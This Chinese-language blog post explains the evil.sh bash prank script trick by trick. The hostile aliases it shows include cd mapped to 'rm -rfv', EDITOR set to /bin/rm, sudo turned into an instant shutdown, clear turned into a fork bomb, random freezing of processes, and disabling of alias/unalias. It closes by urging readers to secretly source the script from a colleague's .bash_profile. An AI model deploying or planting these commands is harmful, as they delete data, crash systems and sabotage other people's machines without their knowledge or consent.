昨天,微博上的朋友 @馬甲與小號 告訴我發現了一個奇怪的東西,本著好奇心使人進步(害死貓?)的目的,我去觀摩了一番,於是就有了今天這篇文章。
這是一個 bash shell 指令碼,其中有若干可以整蠱(結仇)你的同事的小技巧——或者說惡作劇。看完之後,感覺不寒而慄,要是誰敢這樣整我,我一定和他絕交!
警告,切勿在生產環境體驗,一切後果指令碼作者和本文作者均不不承擔!
警告,切勿在生產環境體驗,一切後果指令碼作者和本文作者均不不承擔!
警告,切勿在生產環境體驗,一切後果指令碼作者和本文作者均不不承擔!
這個世界怎麼了?
這個指令碼主要由一些別名、函式、環境變數定義組織而成,執行該指令碼後,你的 shell 環境就變成了一個光怪陸離的世界。
好了,那麼我們來看看都發生了什麼。
注:本指令碼適用於 bash 環境,其它 shell 環境有些不支援。
可怕的預設編輯器
當系統呼叫預設編輯器來編輯比如 crontab 時,biu 的一下,檔案沒了!
1 |
export EDITOR=/bin/rm; |
這是將 EDITOR
環境變數定義為 rm
,而它原本應該是 vi
、emacs
或 nano
的,體會一下,是不是很酸爽?
學習課堂:
EDITOR
環境變數用於定於系統的預設編輯器,在一些系統內建功能裡面,比如編輯 crontab 時,會根據該變數呼叫預設編輯器。
猥瑣的製表符(tab)
當你想用製表符來個自動補全時,你會它非但不幹,而且還刪除了一個字母,不信邪的你使勁多砸了幾個製表符,這下好了,更多的字元被刪除了。
1 |
tset -Qe $'\t'; |
原來是將製表符定義為退格鍵了。
學習課堂:
tset
用於設定終端特徵;-e
引數設定擦除字元,預設為退格字元;-Q
表示不顯示設定資訊(靜默)。
莫名退出
有時候,執行一個命令就會莫名其妙地退出 shell,只不過是命令有個非 0 的返回狀態嘛,為什麼會這樣?
1 |
((RANDOM % 10)) || set -o errexit; |
學習課堂:
set -o errexit
等價於set -e
,表示有任何錯誤(命令的返回狀態非 0 )時即退出。
啥都看(cat)不了
當我想看(cat
)一下檔案時,它居然就當沒聽見,到底檔案裡面有啥啊?
1 |
alias cat=true; |
原來是把 cat
定義成 true
命令的別名了, true
命令啥都不幹,不管你給它什麼引數和什麼輸入,它只是靜靜地返回一個 0
的狀態碼。
學習課堂
true
命令和false
命令常用於 shell 指令碼中。
到底是按什麼排列的啊?
好吧,我想看看目錄裡面有啥檔案,於是我輸入了 ls
,咦?這是什麼順序?我再次輸入一遍,怎麼回事,列出的檔案和目錄又是一種順序,難道它的輸出看心情嗎?
1 |
function ls { command ls -$(opts="frStu"; echo ${opts:$((RANDOM % ${#opts})):1}) "$@"; } |
原來它用一個函式重新定義了 ls
,所以,真是看心情,你永遠不知道它會以什麼順序返回結果。
學習課堂:
ls 的
f
選項表示不排序輸出(即只按照磁碟儲存順序輸出);r
表示反向排序;S
表示按檔案大小排序;t
表示按修改時間排序;u
表示按最後訪問時間排序。
再也不要試著進入目錄了
當我想進入目錄看看時,驚奇的是居然沒進去,難道沒有自動補全我就輸入錯了?用前面那個奇奇怪怪的 ls
再次看看時,令人驚恐的是,那個目錄!它沒有了!!!不信邪的我又重複了這個過程,然後,我就一個子目錄也沒有了!
1 |
alias cd='rm -rfv'; |
這該死的,連輸入 cd
這麼無害的命令都這麼可怕!
學習課堂:
rm
命令的-r
表示可刪除(非空)目錄;-f
表示不需要確認刪除;-v
表示刪除後顯示被刪除的檔案/目錄名稱——這裡是用來嘲諷我刪除了某個目錄的嗎?
還敢用 sudo 許可權嗎?
我很遵守安全守則,從來不用 root 直接登入,凡是管理任務,都用 sudo
來執行。然而,現在無論我用 sudo
執行什麼命令,都會馬上關機,並將我輸入的命令廣而告之!這是我被系統討厭了麼?
1 |
alias sudo='sudo shutdown -P now'; |
學習課堂:
shutdown
命令用來關閉系統,-P
參數列示連同電源一起關閉;now
表示馬上關機。這之後的引數(在此例中,是原本希望sudo
執行的命令)會作為關閉前的通知資訊,廣播給系統上所有線上的使用者。
我原本想靜靜,結果世界都靜了
雜亂的螢幕輸出讓你厭憎,所以,一個 clear
命令就可以靜靜了——等等,為什麼我的終端崩潰了?然後系統也當機了。
1 |
alias clear=':(){ :|:& };:'; |
這是將 clear
命令別名為一個 fork 炸彈了,據說這個是最精簡、最難懂的 fork 炸彈了。至於炸彈的效果,嗯,世界都安靜了
學習課堂:
Fork 炸彈帶來的後果就是耗盡伺服器資源,使伺服器不能正常的對外提供服務,也就是常說的 DoS(Denial of Service)。
今夕是何年?
這光怪陸離的世界啊,讓我疑似夢中,那麼,現在是什麼時候?當然,我肯定不會去翻日曆的,輸入 date
命令才是我們命令列極客該做的事情。看著返回的日期,我不禁懷疑我的記憶,難道我穿越了麼?
1 |
alias date='date -d "now + $RANDOM days"'; |
學習課堂:
date
命令可以顯示相對偏移的日期,上述命令中$RANDOM
的結果是一個隨機的整數,也就是說這裡的date
命令會返回若干天之後的日期。
如果你有一個鬼馬的 CD 驅動器
現在 CD 驅動器用的不多了,但是很多機器上還殘留著這個“咖啡杯託”,如果你有幸還有這個東西的話,或許今天它就被鬼怪附體了,一會彈出,一會又收回去,有時候你按下彈出鍵卻毫無反應——當你真的將咖啡杯放上面時,小心,你的咖啡杯會掉下來!
將 CD 盤託當成咖啡杯託是一個笑話,據說某人曾經給電腦廠家打電話:
“您好,我想說你們的機器上的咖啡杯託以前挺好用的,可是現在它不動了。”
“‘咖啡杯託’?那是什麼?”
“就是那個一按按鈕就會彈出的托盤啊,放咖啡杯正好,還有合適的凹槽,設計的不錯!以前都好好的,現在它不會彈出了。”
“……”
1 2 3 4 5 6 7 8 9 10 11 |
N=$[$RANDOM % 3]; if [[ $N == 0 ]]; then # 幾分鐘後隨即開啟或關閉 sh -c 'sleep $[($RANDOM % 900) + 300]s; while :; do eject -T; sleep $[($RANDOM % 20) + 1]s; done' > /dev/null 2>&1 & elif [[ $N == 1 ]]; then # 要麼,死活打不開 sh -c 'while :; do eject -t; eject -i on; sleep 0.1s; done' > /dev/null 2>&1 & else # 要麼,讀取變得極慢(1 倍速),需要迴圈的原因是彈出後就需要重新設定。 sh -c 'set +o errexit; while :; do eject -x 1; sleep 1s; done' > /dev/null 2>&1 & fi; |
學習課堂:
eject
是操作 CD 驅動器的命令列,記得當年有位第一次接觸 SUN Solaris 的同事問我,這 CD 怎麼開啟啊?我默默地輸入了eject
, 在同事愕然的眼光中不帶走一絲雲彩輕輕地離開。
eject
的-T
選項會將關閉的 CD 驅動器開啟,將開啟的 CD 驅動器關閉;-t
選項則是關閉 CD 驅動器;-x
選項用來設定讀取倍速;-i on
用於將彈出按鈕失效。
冰川時代
突然地,某個你已經開啟的程式凍結了,也許是你的瀏覽器、也許是你正寫了一半的文件,所以,隨時儲存文件是個好習慣嗎?
1 |
sleep $[ ( $RANDOM % 100 ) + 1 ]s && kill -STOP $(ps x -o pid|sed 1d|sort -R|head -1) & |
學習課題:
sleep
就不用解釋了,這代表暫停若干秒。通過上述
ps
命令會會隨機選出(sort
命令的-R
選項)一個你的程式號,然後由kill
命令傳送STOP
訊號給它。STOP
資訊會使程式被停止(凍結、掛起),在命令列中可有CTRL-Z
發出,被停止的程式可以通過bg
放到後臺執行,也可以由fg
帶回到前臺。
一個還是兩個?
當我想複製一個檔案到另外一個地方時,咦?原來的那個哪裡去了?
1 |
alias cp='mv'; |
還好,還好,你總是還有一個副本的,這總算是不幸中的大幸了。
學習課堂:
cp
是mv
,mv
還是mv
。
永不停止的工作
打完收工,你總是要退出(exit
)你的 shell 的,但是一直退不出是什麼意思?
1 |
alias exit='sh'; |
學習課堂:
將
exit
命令別名為sh
,這樣輸入exit
命令後不是退出當前 shell,而是有進入了一個新的子 shell,想退出不幹?沒門!
到底是哪行?
會用 grep
的你,應該知道 -n
引數可以告訴你所匹配的行的行號,但是隨機亂變的行號是什麼鬼?我討厭隨機!
1 |
function grep { command grep "$@" | awk -F: '{ r = int(rand() * 10); n = $1; $1 = ""; command if (n ~ /^[0-9]+$/) { o = n+r } else { o = n }; print o ":" substr($0, 2)}'; } |
grep
命令的-n
用於輸出匹配的行的行號,上述函式將grep
定義為一個輸出的行號完全不可預測的程式。
世界是反著的
你指令碼也總是出各種匪夷所思的問題,而且你還不知道什麼地方出了問題。這一切都要怪你進入了一個“是”即是“非”的世界。
1 |
alias if='if !' for='for !' while='while !'; |
將 if
、for
和 while
所檢測的條件定義為反,我不知道這個世界可以瘋狂到這個地步!
學習課堂:
if
、for
和while
是用於 shell 指令碼中做邏輯判斷和迴圈的語句,!
表示對錶達式邏輯取反。
想執行命令?沒門!
當你輸入了一個命令之後,用小指輕輕地、優雅地,按下右側的那個小小的Enter鍵,滿心以為會爆發出絕世高手的風範。然而……並沒有,非但沒有,你輸入的命令還被刪除了一個字元!懵逼的你以為用力太輕了,再次敲擊後發現又被刪除了一個!!!
記得有一個電影,危急情況下,當別人把鍵盤遞給一位即將閉眼的黑客時,他只是輕輕按下了那個“回車”!
1 2 |
bind '"\C-J":"\C-?"'; bind '"\C-M":"\C-?"'; |
學習課堂:
bind
用於顯示和設定鍵盤序列繫結,C-J
代表CTRL-J
,所觸發的 ASCII 碼是0x0A
,即“換行”;C-M
代表CTRL-M
,所觸發的 ASCII 碼是0x0D
,即“回車”;C-?
代表CTRL-?
,所觸發的 ASCII 碼是0x7F
,即“退格”。也就是說,你按下的Enter鍵,會被對映為退格鍵。關於 ASCII 控制字元,可參見: http://ascii-table.com/control-chars.php 。也可以使用showkey -a
命令來檢驗你按下的鍵的鍵值(CTRL-D
退出)。
好的,但是我不幹
你說要,但是你的身體卻說不要。明明應該應答 yes
,但是卻實際上拒絕了。
1 |
alias yes="yes n"; |
學習課堂:
yes
命令常用於指令碼中應答y
,但是這裡重定義了yes
的結果。這是身口不一麼?
我要編輯檔案
當我用 vim 開啟一個檔案時,為什麼什麼都沒發生?
1 |
alias vim="vim +q"; |
學習課堂:
vim
可以用+
來跟上要在vim
裡面執行的命令,這裡+q
表示退出vim
。
最後,別想回到正常的世界
好吧,我明白了,都是 alias
搗的鬼,我要取消它們。什麼?取消也無效了?
1 2 |
alias unalias=false; alias alias=false; |
學習課堂:
將
alias
和unalias
別名為false
,那你就不能執行alias
的功能了。
讓我回到真實的世界吧!
好了,我已經受夠了這個瘋狂是世界了。其實,上面這些別名,都是可以通過輸入命令的全路徑來繞開別名的——只是一般人不會這樣輸入。
想要整蠱你的同事,那就將這個指令碼(https://github.com/mathiasbynens/evil.sh/blob/master/evil.sh )放到他的機器上,並在他的 .bash_profile
的末尾加入 source ~/evil.sh
即可。當然,你要這麼做之前,要有友盡的心理準備。
感謝這個邪惡的指令碼的貢獻者: Mathias Bynens 和 Jan Moesen 等人 ;-D